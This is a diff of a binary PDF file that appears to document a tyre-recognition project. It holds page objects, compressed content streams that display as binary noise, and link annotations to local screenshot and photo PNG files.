3%r=dv`s¡o>av-@ U/eRL;P%KJR-.Prz]},9lZwsQxwv`֚ -endstream endobj 678 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 677 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Filter /FlateDecode +/Length 1773 >> +stream +xY͎6 S`!%-P"dɦe{&M2ݱeG~/XT!Dl7|8}<3V7;x2^Hڻ.ZeC;A!6q}mJAʮ&E.*BCЉ3B|)L|Q(1Cἆb&Cފ<^Vh$S:K,܅B /3^u5t r5</ +|52NۉW݄_n #JL`>շV! FDC8S=B~kxXB+Wۼ\8xrʇ3qCoC"IzqZ:Oojf2I?mwϣ}KE_o*L|W-'(µ^עr{^N"WD'"}T&jzGW/ż+y0r<ŇT> -stream -xZݮ#5 S uiu.pܬtHiK$8q2ɔĩzN3c?; W|"+( d#$zH.ߺkiY} =ʴ) -#%".^7xdB7+x0Dqd}M@@eNAY4o^'t>uJvY.OW(yN -hwQѱ:k d -r{MO9Lq l^P͠.pς(`\8EFq! Ql36Ue< jbu02ew5gU[!յHs1|ndcpW# " bjֵ_Hs6~!֖pCd9Pt+ zHJH>UK &od b, E;ĖdM\m M-k:86(]@XʪVǞp,UJ';KmOTC45 Ci89b4Yw!6z u7m͠^.GmB=b–0a2ꍆ(h+ÇGiA :S!,DA бr,1t[eO6 smQWӷib#_I@],[7);HS=,$t(*F'MsU -ʟ 2 "I.",\6HY2iSxeC䠠ۦjhKQn$#`r"dVR&teQv֐8O=Gs7Q^DI:4M=o[z)0@f -9 -2+9@CǚJuO{#ҲV!ʼi!=lq=JnrLGyuw:J -)(Q)MۊeYc}HM [$|Aڢ?vPv/Q)o纪s%m~Jawf7{z&9Yg$<_P'ҶYv9CѨEɊA0FdA!w)T+})#.hUQW2ʠYuA]eQ5ų941i K/ -B<1~9q7-Zݓg(sTD:ttUGkbW_f3-#qmHGZ(e7&7nؤf\p){nVg2- $iߨ8(P8vBet"!Siv6\*k`]l)#9l daLiZ7KgfFz F8BK>~/5dЭȺڷ-\_g{ -endstream -endobj -680 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 679 0 R +/Contents 678 0 R /Resources 4 0 R -/Annots [ 681 0 R 682 0 R 683 0 R 684 0 R 685 0 R 686 0 R 687 0 R ] +/Annots [ 680 0 R 681 0 R 682 0 R 683 0 R 684 0 R 685 0 R 686 0 R 687 0 R 688 0 R 689 0 R 690 0 R 691 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +680 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 628.386822 39.386457 613.372422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneExemple3.png) +>> +>> +endobj 681 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 673.348422 37.466457 660.945222 ] +/Rect [ 39.386457 628.386822 555.889134 607.073094 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSFalse.png) +/URI (./Images/Screens/TyreZoneExemple3.png) >> >> endobj @@ -10315,14 +9289,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 673.348422 93.716457 646.348422 ] +/Rect [ 297.637795 607.073094 297.637795 592.058694 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSFalse.png) +/URI (./Images/Screens/TyreZoneExemple3.png) >> >> endobj @@ -10330,14 +9304,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 646.348422 297.637795 633.945222 ] +/Rect [ 39.386457 524.493894 39.386457 509.479494 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSFalse.png) +/URI (./Images/Screens/TyreZoneExemple2.png) >> >> endobj @@ -10345,14 +9319,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 578.130822 37.466457 565.727622 ] +/Rect [ 39.386457 524.493894 555.889134 497.271839 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSTrue.png) +/URI (./Images/Screens/TyreZoneExemple2.png) >> >> endobj @@ -10360,14 +9334,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 578.130822 93.716457 551.130822 ] +/Rect [ 297.637795 497.271839 297.637795 482.257439 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSTrue.png) +/URI (./Images/Screens/TyreZoneExemple2.png) >> >> endobj @@ -10375,14 +9349,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 551.130822 297.637795 538.727622 ] +/Rect [ 39.386457 414.692639 39.386457 399.678239 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/DRSTrue.png) +/URI (./Images/Screens/TyreZoneExemple1.png) >> >> endobj @@ -10390,54 +9364,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 282.911622 37.466457 270.508422 ] +/Rect [ 39.386457 414.692639 555.889134 393.349553 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TestsCouleurs.png) +/URI (./Images/Screens/TyreZoneExemple1.png) >> >> endobj 688 0 obj << -/Filter /FlateDecode -/Length 1507 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 393.349553 297.637795 378.335153 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneExemple1.png) +>> >> -stream -xY_47áCB< it;vmڦ{BB&;3v~TgM}}ځr Iwr}ڑS.v FчơWID ])kVz7-*h>eak -F!Mj4)CI1ͱɘjtG%jyImrFHi;6s|WRzpV2*|uS3P0 (Mne_Edow@7{f "LpHg/FT i <:ہ.NI|2Z/R#i35Gϴ>|a{\&9]Uz>ibLxLO_tZy6]tʧ<]xRp]M|4q ;2.BPd4X|9̨kI=R%WcRMݮ{6 -pd#.ҫ=[Euԯv9eǠf%=^Ͱ\m.n]i2s5jCE Tg#a)b0u`qG215]DQsbA+U1ם )oDʚXNαq sX2geAKdi2ʌI3 -G.\xڐəmz7q?(O'%6CJ ( R6DkEaiH71v+xҟ_gӦ_i]pwpZ 99Gc/]Zּ/O|Εb\ NUdTns=OJ8JXm*iʨO̞pB7>E?}^^!m^n(ܱ$ Sp"_٩-THjKޠM6$UeUOW3K(e3 YamGXv0ˉxuÙDZwlu{35٣W}05FUvǑU}'8Ȟu3} '_a@ y`i}9`a%GD:Miy )2/r -&L.)T ͽԍtLllmc7v 7X+..7R޵ ς}> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneExemple4.png) +>> >> endobj 690 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 453.100813 ] +/Rect [ 39.386457 310.770353 555.889134 288.160113 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TestsCouleurs.png) +/URI (./Images/Screens/TyreZoneExemple4.png) >> >> endobj @@ -10445,72 +9424,73 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 453.100813 297.637795 440.697613 ] +/Rect [ 297.637795 288.160113 297.637795 273.145713 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TestsCouleurs.png) +/URI (./Images/Screens/TyreZoneExemple4.png) >> >> endobj 692 0 obj << +/Filter /FlateDecode +/Length 1964 +>> +stream +xZˮ7 +Po "&-Zb +H҈J֌6|xCsN`!zgӧoyD%_텏Vy7E#L2 G5Z\>>j|J + 6Sz~xx7KW\hYy ;HڈB/I">/?~i=v=Eu@;w|7i'r/tͮ$'n?+&e4luP{^y-P̫ܼΝ/~EN~h26,{NrKݟ{sz{?DU!8fA5crU88^˫k +wFm\QA/ȢۆqRhju*h',¼{!c^c8ʰ1#ycp΃R]Ɠս2pӍ_H*d9,{;U )rm܈TV~Mh7Bexxщ#paLѵI4Qo;}zs=a[ +`UuQjei!>qFVFb]݈dWjl\0uJy,C9$\KMd|˭4$XXr`Յg;h9oz4q5l ["Inw00?g6E<$;ykp&Yud] yfmy\dҕ`pIĐwY]1M<'9w=l"џ擷*&WMyu QZIJwBCR9U\q8'"سoJZH`$A4S D&@['o8-SKKOU!'$.D(2,r@5i4Fv5QVu>$(+Gfh\Pow[u6*.sYٮF b M*f"HWJ mC<<*R1VLn1ӱ#h fsjhR{4C#YwH\(uyMIu|eU0<:Ƶ2 +7 +ƽ*I %Ay^6NѲ9EC\FXҹJ,rNM36;[pL}ѝgt<OףWx87?5v"f2>T݁X7YDY٨y4ZPܲ!Ctj7] KhPf]D^;Hٌ57hՅ1αk#ѻ+w\zB('& ?]MȮ֩dpz2*(ϧz4\3\w!ݳ.h΄'\hȷz.DaB$^)M KsaUEhԊySH_SZSћJH֝"<#GT6fxWtnRFhCdw+oMvguϒdoYU@k f+y-Nr H0D Ow6V 3`"]\2,~ldle֠D#]-jOf٤ /xȯn2JY}]=s<)cWd[d3;w9DA od,(Nǐ{#)"U\ Щs{_ +J{l +endstream +endobj +693 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 692 0 R +/Resources 4 0 R +/Annots [ 694 0 R 695 0 R 696 0 R 697 0 R 698 0 R 699 0 R 700 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +694 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 37.466457 191.873917 37.466457 179.470717 ] +/Rect [ 39.386457 519.532422 39.386457 504.518022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyresImages.png) +/URI (./Images/Screens/TyreZoneFull.png) >> >> endobj -693 0 obj -<< -/Filter /FlateDecode -/Length 1051 ->> -stream -xW͎6 )EQ a)Z!q&bh'`X#Kȏ?ar=?>a++C6q7>Fib:IDCe] [ˑ' A - - > -PO& -4d:b6L6c‡aL` bȤ2l,XR0ZB3rGyfqCDDBP{/wrsu>wZߕ>5%]X咫cº&?3u>l;dwtV믰 }{}~زEX<=@hbG sZꓝe!kl\tE暔H|D-Al8Fzˆb"rA -ܲpGYl]j -;VN_gSIv7@ʌ̧iJGyO*euIh _;r{p*Jm,B;WgztHY/ǰ.! G>$F|u[;敎Xee ;1Ci(.ծ -O| XXRYr:Oρ W N|Tdlx@z& I=TEH 7AxËOM 0H8#?i[dkszsEX9"}ArR4E O$TZkkʯ+A9kX*~Ga9S#voLJKkj a%lRڅGF}p+zC^禌g#;- LzVNJ|kbW*Zs[l"ʧ*]|0f -endstream -endobj -694 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 693 0 R -/Resources 4 0 R -/Annots [ 695 0 R 696 0 R 697 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 695 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 603.686147 ] +/Rect [ 39.386457 519.532422 555.889134 493.599233 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyresImages.png) +/URI (./Images/Screens/TyreZoneFull.png) >> >> endobj @@ -10518,14 +9498,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 603.686147 297.637795 591.282947 ] +/Rect [ 297.637795 493.599233 297.637795 478.584833 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyresImages.png) +/URI (./Images/Screens/TyreZoneFull.png) >> >> endobj @@ -10533,115 +9513,113 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 369.575747 37.466457 357.172547 ] +/Rect [ 39.386457 411.020033 39.386457 396.005633 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreColors.png) +/URI (./Images/Screens/TyreZoneCropped.png) >> >> endobj 698 0 obj << -/Filter /FlateDecode -/Length 1331 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 411.020033 59.636457 393.770033 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneCropped.png) +>> >> -stream -xXˮ6 +ՈpEv1f-Pt8׃.f?PI%JӋA$vl"1L2 fZ>]\p(+Kt?墝pS0x>LJNjZ 4ZK7}}v|I]I鼛zL0׏w39}ƍp(?eȆt$O$}z u肻JvlѶ:[*Et$l -R3Bk0-Ͽ dhKm7z]Ly7V lz,,噂*ǹ90V%"Auy2ޯdFU4A'6s/a) pǐ3D -endstream endobj 699 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 698 0 R -/Resources 4 0 R -/Annots [ 700 0 R 701 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 393.770033 297.637795 378.755633 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneCropped.png) +>> >> endobj 700 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 352.466457 456.023622 ] +/Rect [ 39.386457 144.155633 39.386457 129.141233 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreColors.png) +/URI (./Images/Photos/SoftTyreColor.png) >> >> endobj 701 0 obj << +/Filter /FlateDecode +/Length 777 +>> +stream +xn6z +@烀Cb`rC8}CRPs~!1,c4+*9 DeYTҨJ(9f3-"B"o$@÷PkjSEzޏ!7,>Pɠɵ?0؄bxɴO\a+_owi9.$4Nl +ᗯMQݔBuXw'@%2r~OT=zXW^/i (2H @Dv[?o"a\۰1ftcS:E‘:d3P:Ub*2:xWx8N#ٞEΤ䳙1त3HΩˑg_ryb =~y1la|<;b]m#oq +>SbO_D)^~g{~di⩤qe>I(]^Rzz,1q ۠{ n[qo+zÎ̠so{H5"bM9 ٞE\p:&ʳEJ:|iV*`#6*4_&bς)FQ7B8=J}?B^e;ɞ$q߬};Z\޳GTx@~'k6`X:#칬*(AUd1Oxȉ.(aЅ47](k}^'Pz2|^md~I.<*Zjdwgdo,@ +endstream +endobj +702 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 701 0 R +/Resources 4 0 R +/Annots [ 703 0 R 704 0 R 705 0 R 706 0 R 707 0 R 708 0 R 709 0 R 710 0 R 711 0 R 712 0 R 713 0 R 714 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +703 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 456.023622 297.637795 443.620422 ] +/Rect [ 39.386457 771.023622 189.386457 696.023622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreColors.png) +/URI (./Images/Photos/SoftTyreColor.png) >> >> endobj -702 0 obj -<< -/Filter /FlateDecode -/Length 2206 ->> -stream -xZ[6~_@ YyHgIB{2Y&!,%Yr9mR _*`:մ||pfqD#~?.0P=9Ŕ`d2.(%C%%7_.?_If87LB0-0~|3~m(?_!Lr~ۏ( Gu*_y1.VrZC4`I{S37[/_E}5wJ63` . -{$gqZBww9}hQ8μtxMzHE._w׏? T^o/{z,9ZI `[-G{ā\-a17z{tư%6;ipBXo$Ju[(n>^ڼ}W*?eۮgA `gk~P(CnVͣeLE(ߔmWF2F-DpVSC{wʮ\_n>lN)v"NGWͲ˾_ngәӳIFwRf&=s ;8Tr&Z>E -IY¾W_E7^Aͭ,-H;:0|^8hK܂pӸ7j_YMq.)N9&YbA%{vS℘EukEIxW1m$5$]œ܃XF?1ŋ#/ 2F* TX *?_MlXʪ`劌#[!Ꮈ}4F˙s,_)b -_Gho5w<px57\ q*3 tP,!24aTf4ȾSͯy)~_y5w-FLMJ+>ǺgFnM_s+YGw/W!3T2V$J3#cchZ Jy0a,5PWn~sYJkxa 'rsYYR4,j]Eq^LCr5->@,okeg"}Vx8]w!<L Zu49+JC6jnN :A jt] y)gH(B.eKdt 0!ǝJgDLlwR$KE3Ҫ ;.u&u7yL,NʖA2MlUTBd y_ Es/=>G'#clrPXGQwDIGm8^qmikm_L'tEѳPnLJӮnࠎoux"N SJ1SҭHޓGgYL*?V ^C9s8MV?Ϲjn0"9Kj{ZנJg9WFq?HeH\/d-Уڗc8y%SE$-JW?p>*bA*jЌ,UsPM߿/XɬI GƗxDz+<ޔ!)+aAm+0r7xdF|),/7_Mtsф)tkwcΜ(:x!0l|$}NU-eJD:3EP OjA:=%Άp>,AT,]CvBknzZ{ 6 -endstream -endobj -703 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 702 0 R -/Resources 4 0 R -/Annots [ 704 0 R 705 0 R 706 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 704 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 103.979322 37.466457 91.576122 ] +/Rect [ 297.637795 696.023622 297.637795 681.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithBackground.png) +/URI (./Images/Photos/SoftTyreColor.png) >> >> endobj @@ -10649,14 +9627,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 103.979322 53.966457 90.479322 ] +/Rect [ 39.386457 613.444422 39.386457 598.430022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithBackground.png) +/URI (./Images/Photos/MediumTyreColor.png) >> >> endobj @@ -10664,58 +9642,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 90.479322 297.637795 78.076122 ] +/Rect [ 39.386457 613.444422 189.386457 538.444422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithBackground.png) +/URI (./Images/Photos/MediumTyreColor.png) >> >> endobj 707 0 obj << -/Filter /FlateDecode -/Length 1601 +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 538.444422 297.637795 523.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/MediumTyreColor.png) +>> >> -stream -xY͎6 SEIbECK-Zc"lI5$fzdGҁA; -!zapx;͟u_/+4DT8x -@˃*j?|zvh?D -.̀!}?Aڎ*MuVOE"Û"8|_~ZYKI߰fQZc+M!n񕯑3|<</ow1H+ejIt-)ByCm;)=$,ɊU.C)_eߴv덐'Y"Ò٨UkH?16QPQ{1P<}3wHC|M\ͨpm\lq|!? ?bs8610~G@ hfŜ"ø HK˓VG;2*X"!lZ整y D<I -< %B"=]^ p1LE7Qћ\YӎrVAh?Qӎ|Gb=t{&jN8`W-FGL!mfMjh'89 \{ EVVYA07 )PHPP |Gp(بiYGB?`XT42=vrJ˫Kcn=P}Kl:jRAeӲɛȈ p\vdlQÙĸA evYK@B;[9Ʃ8M{3'yT2_Iaf>ZV'up0B$]@w,Kz+'W[݀\2Z.0q|2qR2Fetv*TbWQ )pF%듶BXA3̝YRY(L+dp@1^ ]o7sx֩f L㰝WuY9\V2UAw -3( -pd 0Y' .GjY/VW,N}O۩"N.zEx{}[.g+ oM;OpSPsx%[rUkډ]#up{EW;ϳ'.Hx'UK@'ƍ#x0{ۉpt[伢=R}(85NMO0NRBmr^_4w߽[;+%2W*,ų+yTDɒ~oulC*ֺBi˛|E-:X'jR۪'Ίw^;y;75ˡ01#sW$tVn= -GJ? ]N ~Nx`;m+RYYCJ*1o"^~aKHc' l`_ǰ0[ qywUOzt̒~`Dޕ-냊LcpJ_qS -Cb~p"C/$א`…"]Nİ6ُ[g@J~R -endstream endobj 708 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 707 0 R -/Resources 4 0 R -/Annots [ 709 0 R 710 0 R 711 0 R 712 0 R 713 0 R 714 0 R 715 0 R 716 0 R 717 0 R 718 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 455.865222 39.386457 440.850822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/HardTyreColor.png) +>> >> endobj 709 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 715.209222 37.466457 702.806022 ] +/Rect [ 39.386457 455.865222 189.386457 380.865222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithoutBackground.png) +/URI (./Images/Photos/HardTyreColor.png) >> >> endobj @@ -10723,14 +9702,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 715.209222 53.966457 701.709222 ] +/Rect [ 297.637795 380.865222 297.637795 365.850822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithoutBackground.png) +/URI (./Images/Photos/HardTyreColor.png) >> >> endobj @@ -10738,14 +9717,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 701.709222 297.637795 689.306022 ] +/Rect [ 39.386457 298.286022 39.386457 283.271622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TyreWithoutBackground.png) +/URI (./Images/Photos/IntermediateTyreColor.png) >> >> endobj @@ -10753,14 +9732,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 543.568422 37.466457 531.165222 ] +/Rect [ 39.386457 298.286022 189.386457 223.286022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Recognised11.png) +/URI (./Images/Photos/IntermediateTyreColor.png) >> >> endobj @@ -10768,14 +9747,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 543.568422 199.466457 405.568422 ] +/Rect [ 297.637795 223.286022 297.637795 208.271622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Recognised11.png) +/URI (./Images/Photos/IntermediateTyreColor.png) >> >> endobj @@ -10783,59 +9762,61 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 405.568422 297.637795 393.165222 ] +/Rect [ 39.386457 140.706822 39.386457 125.692422 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/Recognised11.png) +/URI (./Images/Photos/WetTyreColor.png) >> >> endobj 715 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 292.389222 37.466457 279.986022 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/RecognisedH.png) ->> +/Filter /FlateDecode +/Length 1790 >> +stream +xY͎6 )Ւ`Ce)Z$bT%lf cȏ7F᜷FO˟O' ROj>N +IZ3y-sd D*TJV +z)^ `8=pOf0}t KmoCEe '/IPF]2 ˬ)M bb_fL$ZG'IAE>e97(dN8sXFdSPߧl +vdL2@ :EА)ȅ["R*69-4ϲujZ:#4( e2M EA-*دsh +z[<7cA1m'/FLm.״ί| ط \iNlgV/ˆ@Q+#NR Hpax'lCMBGex^xY{v{CG@/чKސiCG "ԠihFSA([L(Ų-ftPrc\Fn7ޫGȕˮW3^e~v./] 5>"߅䜜W(_Ǯp"9 +z{i%3yM<%<3ㄓ 6h%wY3D7h6$-+c9ǁ`F)mι~m757G6S=tRL]~)ó0v šw +;$[\c4؀N +41gOY(-*R}'k)$jY?)Tja~ ru@$Jaw&T M3\u$}P PYiGU}h\U)ɘY{#ezUZؐ FU=,ԁj&k 7HD_R4WNiX"RLFO}z0@G:Y^>RۦP@Sd[Q(̑{8ף=G;+dS6*` +~-D渞?)̈7r~^u:~ 8b4;Fs̵a+ό)Nwp*t({x竮e٬pS@]wYMRkxڃyCvI4C3H@#ÔD獣RϠkpF < +~B3]lJ KUHqqO]l)_會Ktɣ=U dpF[o]l +V(QΣs6Ն#ɜ3[{-P%7o(U +ûUtgby *{T O-~(D=$t ÃcZ9%$M]Ujq "@~ +ҁ_mI yl-OPUQnsRFG(L։5\ėA6M nCxFyGႷlsE(ri+$;H;d? " +endstream endobj 716 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 292.389222 199.466457 154.389222 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/RecognisedH.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 715 0 R +/Resources 4 0 R +/Annots [ 717 0 R 718 0 R 719 0 R 720 0 R 721 0 R 722 0 R 723 0 R 724 0 R 725 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 717 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 154.389222 297.637795 141.986022 ] +/Rect [ 39.386457 771.023622 189.386457 696.023622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/RecognisedH.png) +/URI (./Images/Photos/WetTyreColor.png) >> >> endobj @@ -10843,58 +9824,59 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 106.326822 37.466457 93.923622 ] +/Rect [ 297.637795 696.023622 297.637795 681.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/RecognisedM.png) +/URI (./Images/Photos/WetTyreColor.png) >> >> endobj 719 0 obj << -/Filter /FlateDecode -/Length 1978 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 613.444422 39.386457 598.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneHard.png) +>> >> -stream -xZɎ7+Ls_$'$@CKc9$R\,-ٰ5cn.,Nx& -.*ŌVoNq 9ΝwR2#&Kv/;]aUՁ3l*]׌M$yŲ7#ie .%A,jaTV5v$f6O36V2o -z3zy~xm_?zsyyGidޏle4|ZeHԔň6̠ :4ROѡf:A;#McXwA$Nm<s(; rkr4!T6YSCL!<%G4W^:t=FpYq/E/ 5Mׅ؜w,A6r#"6Ѹ -cD9G8ςMtᱯ7kkJ/-,)x+h򷋭<)7.;gVT%B=#á=W=&t8k,Znۄ0X@)"o^V{UȅSY t!|c|bSN:߀OMOri1zWfi$Ŏ% -acyd,ÚlKM*qM⧔F1bO|?>ӼU`Z% @q3>:e'fCR! ZcӁX zi3LugH 8ӺR;XUiKgܛo> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneHard.png) +>> >> endobj 721 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 199.466457 633.023622 ] +/Rect [ 297.637795 596.194422 297.637795 581.180022 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/RecognisedM.png) +/URI (./Images/Screens/TyreZoneHard.png) >> >> endobj @@ -10902,197 +9884,208 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 633.023622 297.637795 620.620422 ] +/Rect [ 39.386457 513.615222 39.386457 498.600822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/RecognisedM.png) +/URI (./Images/Screens/TyreZoneHardAVG.png) >> >> endobj 723 0 obj << -/Filter /FlateDecode -/Length 3337 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 513.615222 189.386457 438.615222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TyreZoneHardAVG.png) +>> >> -stream -x\Y#~ׯͫxyp@Il;H"c4vv Kfu|uVGP`!zgχRx/'_?>!^H_>Z.@j_?_w@P7H]`?~<(IGJ:a (e?~__~B*]RG)m@"oWhI~ktr/Lm=1e=i,8R9~iQTO1bXCn$: tnLdAR2pb6jm̃?(ru/}ͥ`?4qm>5YS/ULIM}%9r_4x{NL=W6elz2`v:5>oq|H_oI;P=/:pl:ӀP IPXImfrW0YT U59 (0w1hjpIa 6Èf}/d6nE d,3Qc{ L>J\ ngV,Ħ Jt Co=ݡ<sMC,#٪<)r`\QHy3d/ -@]QU2%#j9*Ӄ&``PE/`3'(h<) a?䦥ޜE~2Xyܩ@kgY5^"*ahbl)M 53GYS7/j}5 -]c6 t腱QE^/[k*S@l|Sp~bQ[L(}źxB?ISficr^B&: -hSaQƾP1Syot߄lGK-3 d*^bTJudt;Z܍uFʝ%ʹo),}  CC(ʳqaO+]cB+[dP遡re6eK,ji/e<|ح=!YYbrOqٮ%$" Ʌ;(DE -TxȲë́/XsڜfѵEn),-8WD2ƶr/,Mɪ. Ӹ2ԖkQUKǷX7M:^+[Ҝt#S=Q-AXt:mn{90/7hӖǨ&#?@bЍFL\n1-w~뺩] yLaNmeRDt{XB{7ǀPWicՠ?YgB@Li^ih~? FάK%s_[PS-#K>T) gU*v4*&]Ro~5Dx]ZTT>!1Am-dF||ZPAFo_kc +wǭ/9jC),Giց:fIhe\TŊzMA#_0_Ji!2 "+ T䀬e)i\3=4f=lD7-_XZpd`r=eJ)*|˵zDԡWC fMХ}0=OFZ]W'| \x2QKjkU|Sb==Ӻoѐ2P@|W~nyQ7uugb[Fk^~^_ӴL5kFsLYd|Jצol/Nd )ti6݁+zs^mTD1W3 hӽAq k/H,obЯ6 ɡ-E,xo^8m7f q ྻb۸ޠi⦆ 4DkyUopƶkY!cĸ̷XmZ_/YiQĒrsY}](BYT'o8ta!=<~Ýѻ wF[N 